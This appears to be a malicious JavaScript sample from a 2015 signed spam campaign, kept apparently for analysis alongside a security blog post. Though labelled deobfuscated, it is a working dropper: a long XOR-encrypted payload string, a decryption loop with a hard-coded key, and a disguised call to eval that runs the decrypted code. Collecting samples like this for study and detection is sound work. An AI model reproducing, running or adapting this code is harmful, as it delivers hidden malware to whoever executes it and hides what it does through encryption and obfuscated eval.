out.js

Deobfuscated JS file. Related blog post: http://bartblaze.blogspot.com/2015/11/a-quick-look-at-signed-spam-campaign.html


var jjxjYcRoh = 'fPq0G737pZcneqq';var ICJCJreUdAoEDtN = '\x0d\x044y!S^^\x15\x16\x06VELQD1\x04\x00~\x06\x02\x15KWico\x17\x04\x083\x05Y(Y\x13\x5c$\x1f*\x08\x01\x1c\x18\x03\x1c\x14\x05o\x5cgr9<\x07\x03\x0c\x14=\x03fX\x10<:9\x17PzC\x1c\x00\x05\x04\x14>Q^"@\x13v\x13.\x0a\x18\x00)>\x04:\x14S3\x1fXc5\x13\x05\x0a\x08\x18\x14*5G\x19J=N\x0c}PLAJ^Q\x14f;|>\x06Z]&\x0a(co^^I\x7fQ\x09"X|]}PndJ^^Ip\x13\x08vT\x07\x03\x0a\x19\x0d\x02"\x19:#\x177U"F>=_uLAE\x03<\x01\x08\x05Hv]eSC<1\x5ch{\x17\x13>\x12D.X]\x17\x1b\x0e&\x27\x03\x15\x1c\x0f5=Uo][Z\x00\x03:4\x13\x1a\x04.\x07\x1agn\x17H:zzCNE\x07\x10\x14p\x1ad\x02~US\x1d3\x06"\x00EQ[pV\x09\x1bO\x02V,"SX\x03-\x09TgFGrc\x1b\x1dS\x1f\x1dMFRF:(@\x09\x1bO\x02S,"T\x08DF-\x1eaI\x13o\x1b[SSy@\x5c9\x09@\x02\x0c\x09\x00sI\x08\x1e\x01eIWIQ-\x1e`\x17\x13\x7f\x01\x02k\x08j\x012\x1dA\x15\x1brEl?\x06\x0b\x18E|)2\x1d@H^\x09-Hv\x03oO@8?\x16TE]F\x0c\x09\x05$kK\x07F\x12!2\x1dAE:(@V\x1bO\x03\x01,"S^9\x09@\x027-Hw\x07oO@o?\x16UD-\x1e`\x12\x0dnkK\x06\x16\x06\x1b_U-\x09V2(l?\x07Qk\x08k\x072\x1dA\x14:(@\x07$u\x10\x14St?\x16U\x15-\x1e`CPt\x18J\x0fO\x06\x1b\x5cRG1:(AR|\x0dZGSy@@9\x09@\x02\x0c\x09\x00~@\x17\x19\x15\x7fVKYP-\x1ea\x15js\x1c\x04b?y@MV-\x09V2-Hv\x06@\x0bU9C_9\x09CQ|Rl?\x07\x0amHl^;*RRE\x0c\x09\x01t\x1b\x13v,"R],,-\x1eaGG&\x10\x1dD\x006\x0a\x1aMSREsS\x19|:9\x18_uLN0C\x16!(\x10=M\x18\x1c\x18_z\x15[\x1f\x18!+e7V,:9\x17PzC\x07\x03QY\x0c8\x1c@\x1eniA\x1b/+9\x0e&Q[mQ\x12e\x1e\x13L}PCNEQQFpQA\x0c{zq\x12#\x08 \x026Q[pS\x1ee\x17\x18\x17R>ANNQS\x0arQ\x1bg\x15_\x15KWiNEQQ\x1bp\x14\x5c4R\x13L}PLAJ^Q\x10%\x19\x04,\x02P~$?ndJ^^Ip:w\x1dc\x02q*\x187\x07\x0f@\x13kZQ\x10g\x17\x13\x17Pz\x12%)87\x04)\x1a~ p\x13\x0aPxMLEZQD S\x10l\x17\x11SRzHNG\x17S]]{\x10g\x17\x13JKWiNEQQ\x00?\x03\x10oAREP11\x27\x27>\x27\x1c\x1b!eg\x0a\x13\x07Kz\x08<,3>0*:`\x12\x17\x0f\x17\x1b\x0e&\x27\x03\x15\x1c\x0f5=Us\x19_R\x1e=\x17\x06^Q\x1a4\x193\x7f\x11Mxg%qHGE\x0a|lpQ\x10g\x17\x13\x17P,\x02\x1cE\x07\x14.>({\x0e`YE\x11\x09\x13NXQ\x1a2\x158V#ZZR<?VFG&"\x05"\x18@3\x19`_\x156\x0fLLJ|l\x7f^\x1fh\x17]B\x17 \x0d(V;A+77z\x14\x01>=_uLAE\x070\x0c\x1a!=M\x17\x13\x17PzCNE\x02\x09\x1f\x00\x09^=ye\x17Mz\x15\x0b-\x1f(-\x19&Z5V`G^\x1f\x1b\x1e\x04\x1f\x15#>\x07Y5X]Z\x154\x17=\x11\x03\x18\x087\x02\x18e\x12gr=\x0aFLLQZFr-le\x17\x18\x17=;\x17\x06K\x03\x1e\x13>\x15\x18vR\x0b\x17Zz.\x0f\x11\x19_\x141\x1fT(Z\x1b\x1eYzHN\x14:=/\x16\x13I,yTpKWiNEQQFpQ\x10%NC{\x1d1\x12NXQ\x17\x07<\x02U|:9\x17PzCNEQQ\x0d\x044y!S^^\x15\x16\x06^ELQ\x0d\x044y!S^^\x15\x16\x06[MS<5\x08<|u\x19kz<\x127:5SX]]{\x10g\x17\x13\x17PzC\x05148\x004\x1cY"{V\x07^5\x0d\x1c\x00\x10\x15\x1f#\x05Q3RP_\x114\x04\x0bELQ\x00%\x1fS3^\x5cYXsC\x15h{QFpQ\x10g\x17\x13\x17PzC\x07\x03QYRpL\x0dg\x5cgr9<\x07\x03\x0c\x14=\x03`_B"VWN#.\x02\x1a\x00QW@pC\x00w\x17\x0e\x0aP17+,\x17\x15\x0b9\x14|"\x07\x1dD\x04;\x17\x1b\x16XQ\x1d]{\x10g\x17\x13\x17PzCNEQQFpQ\x101VA\x17\x1b\x0e&\x27\x03\x15\x1c\x0f5=Uv\x17\x0e\x17\x1b\x0e&\x27\x03\x15\x1c\x0f5=Ur\x1f\x11v4\x15\x27,K"\x05\x145\x10]e\x1e\x08:zzCNEQQFpQ\x10g\x17\x13\x17Pz\x0a\x08EY\x1a2\x158V#ZZR<?R@\x0a\x01\x14\x08xX\x1cg\x5cgr9<\x07\x03\x0c\x14=\x03a_D>GV\x17MzRBE\x1a%#\x19\x17T*^V{\x15kM\x19\x17\x18\x05\x03x\x1ad\x02~US\x1d3\x06"\x00A_45\x02@(Y@R25\x07\x17L]QS5B\x10{\x17Xc5\x13\x05\x0a\x08\x18\x14*5@\x1e4^IRYz\x18coQQFpQ\x10g\x17\x13\x17PzCNEQQFpQR>G\x7fZ\x1b+CSE\x05\x03\x135J=M\x17\x13\x17PzCNEQQFpQ\x10g\x17\x13\x17Pz\x08: 8\x17\x02=\x18U\x0bR\x02\x19\x005\x10\x07\x11\x18\x1e\x08pL\x10w\x0c>=PzCNEQQFpQ\x10g\x17\x13\x17PzCNE\x1a%#\x19\x17T*^V{\x15kM\x1d\x04\x07\x142?7Y+R\x1bD\x08#3\x16\x0b\x0b?0|Q\x02n\x0c>=PzCNEQQFpQ\x10g\x17\x13\x17PzCNE\x05\x03\x1fp\x0a=M>:>ySCNEQ\x18\x00pYZ/ZCn)\x00\x15\x05\x109&\x0d\x07Q\x0dz\x17\x11\x15Yz\x18coxxoYx9NAV\x7f\x1e\x03(\x272\x1b\x03\x07\x03\x01\x1e\x02OVTXx\x11\x1b\x0b\x15\x1d\x0acC\x10e\x17\x18\x17\x03"\x1a>\x1d\x1f\x0b(\x06Q\x1bg\x15\x1f\x17RzHNG5\x1d\x0a\x02\x14W.DGR\x02\x09\x06\x1c\x13\x14\x03DyJ=M>:>ySCNEQ\x0cF5\x1dC"\x17H:zSjglxQFpQ\x10g\x17\x13A\x15\x12\x0d7.8&\x0c"\x10c7\x19aB\x1er\x10\x16\x1c!\x09\x08*?fk\x17\x02\x1bPjJUh{xoYx9g\x17\x13\x17\x0dandEQQFpQ\x10g\x17\x13\x17PzCNEQQFp\x0c\x10$VGT\x18zK\x05148\x004\x1cY"{V\x05Yz\x18co^^I\x7fQE\x0b@C\x00\x16m\x02Z\x0c()R6\x08c,a|:zuLAJQ0.4A\x01(|`X\x1dWiNEQQFpQ\x10g\x17\x13\x17PzCNEQQFpQ\x10g:9\x17PzCNEQQFpQ\x10g\x17\x13\x17PzCN\x18J|l\x7f^\x1fh\x17kr:\x09*\x18/DA%\x1d\x1dS5ob\x0f\x27WiAJ^^F<Hs\x06\x05\x06X9\x1f\x09#\x09\x015/e|:g\x17\x13\x17PzCNEQQFpQ\x10gJ>=PzCNEQQFpQ\x10g\x17\x13\x17P17+,\x17\x15\x0b9\x14|"\x06\x1dT\x1c5\x10\x0bMX|lpQ\x10g\x17\x13\x17PzCNE\x0c|l\x7f^\x1fh\x17Eu:-R\x0b\x0b\x1b\x1fU\x07\x15\x07\x09zz:zuLAJQ7-\x1d:@~dY:zzCNEQQFp\x0c\x0bJ=\x13\x17PzCNEQ\x05\x14)QKJ=\x1c\x18_uCY\x07< 7g\x03fJ=\x1c\x18_uC^!90!::H0oP\x07\x1c# &\x13|{I\x7f^\x1fg|ZbAiV[\x5c|{I\x7f^\x1fg~ReEkT$.\x1d\x007:\x09\x02\x08DdF:)ndEQQFpQ\x10g\x17\x13\x17P,\x02\x1cE\x1b\x1b\x1e:(S\x15X[\x17MzD\x14=4C\x147G\x5c=\x5cVY8.\x14\x0aBJ|lpQ\x10g\x17\x13\x17PzCNE\x07\x10\x14p8s\x0dtyE\x15\x0f\x07/\x0a45\x12\x1eQ\x0dg\x5cgr9<\x07\x03\x0c\x14=\x03d*[\x15~qx& (>0,JkZQ\x10g\x17\x13\x17PzCNEQ\x17\x09"Q\x181VA\x17\x12#2\x27-\x02\x00\x16pL\x10e\x15\x1f\x17=\x19\x14"\x0dGQ[pA\x1cgzp@<2TNXQA]p<s0{[\x01PfC\x27&;2,"\x14e#v\x5cr4.-@\x09\x14\x1f\x01$\x19\x0bgzp@<2UENXQ\x04) y\x0fDBGPq^N6\x05\x03\x0f>\x16\x1e!E\x5cZ32\x02\x1c&\x1e\x15\x03x8s\x0dtyE\x15\x0f\x07/\x0a45\x12\x1e_S/VAt\x1f>\x06/\x11Y<%\x27=Xq\x1e\x13iP0\x09\x16\x0f(\x124?\x19\x1e$_RE35\x07\x0b$\x05Y+\x13\x06|/\x00\x1a\x1e\x5cz.-\x12=\x19Q{Z\x1cgzp@<2TNXLQ\x0c:\x09Z\x1eTaX\x18t\x0f\x0b\x0b\x16\x05\x0epW\x16g\x1f~t\x07\x16\x0bYELQVyJ=M\x17\x13\x17PzCNEQQFp\x1ad\x02~US\x1d3\x06"\x00FQ[pSX3CC\x0d_uANNQ\x13\x1f\x018x4FC\x17[zAA\x17\x14\x15\x0f"S\x10l\x17\x11\x19RzHNG\x01SF{Q\x12/\x15\x13\x1cPx\x13L^|{FpQ\x10g\x17\x13\x17PzCN\x0e%4/6\x15].R\x7fR@t\x0c\x1e\x00\x1fYD\x00>c\x13\x15\x1f\x17\x1b\x0e&\x27\x03\x15\x1c\x0f5=Up\x1b\x13Q\x116\x10\x0bLJ|lpQ\x10g\x17\x13\x17PzCNE\x1a%#\x19\x17T*^V{\x15jM\x1d\x00\x05#\x03!\x04U4C{R\x11>\x06\x1cMS2\x09>\x05U)C\x1ec\x09*\x06LIQS\x07 \x01\x5c.TRC\x195\x0dA\x1d\x5c\x06\x11\x27\x5cV(E^\x1a\x05(\x0f\x0b\x0b\x12\x1e\x025\x15\x12n\x0c>=PzCNEQQFpQ\x10g\x5cgr9<\x07\x03\x0c\x14=\x03`_C"YW\x1fR\x10\x11\x0b\x0a>\x1e)\x05;F1qRNMxCEE<\x10\x128_B&YWX\x1drJNNQS@:\x1fT-\x0a\x11\x17[z\x08: 8\x17\x02=\x18U\x0bR\x0b\x17[z\x09\x06\x08\x01(?\x0a\x07[2\x7fd\x5c\x27sXcoQQFpQ\x10g\x17N\x17\x13;\x17\x0d\x0dQY\x0d\x044y!S^^\x15\x16\x06]LQ\x0akZ|:g\x17\x13\x17PzCN\x18J|l]{\x10g\x17\x13\x17PzC\x07\x03QY\x04)\x01|*\x5cB\x1eP!ndEQQFpQ\x10g\x17\x13\x17P8\x11\x0b\x04\x1aJkZQ\x10g\x17\x13\x17Pz\x1eUh{^I\x7f^\x10/FC\x03\x1b\x002;\x1d\x064kZ^\x1fh\x18\x13|)(,\x064|{FpQ\x10:\x0c>=\x0dandJ^^Ip4a5\x00XD\x053\x16\x19?\x15\x04\x12dDQJ=\x1c\x18_uC\x04&"\x05)c\x03=M:9\x5c$\x1f*\x08\x01\x1c\x18\x03\x1c\x14\x18e\x15\x1a\x0c}P\x08: 8\x17\x02=\x18U\x0bR\x1b\x15V4\x00\x03X\x02;\x1c\x18(W#\x7f]s*\x0e\x14;GXJkZ^\x1fh\x18\x13v530&\x01+\x00S]{\x1fh\x18\x1c\x17\x1e\x12\x1080?C\x00*\x18';for (var byQIHsqp = "", MCwLh6 = 0, MCwLh7 = 0; MCwLh6 < ICJCJreUdAoEDtN.length; MCwLh6++) byQIHsqp += String.fromCharCode(ICJCJreUdAoEDtN.charCodeAt(MCwLh6) ^ jjxjYcRoh.charCodeAt(MCwLh7)), MCwLh7++, MCwLh7 == jjxjYcRoh.length && (MCwLh7 = 0);function sMKBXkVA() { return 'e'; }; function gaAWzEm() { return 'val'; }; this[sMKBXkVA() + gaAWzEm()](byQIHsqp);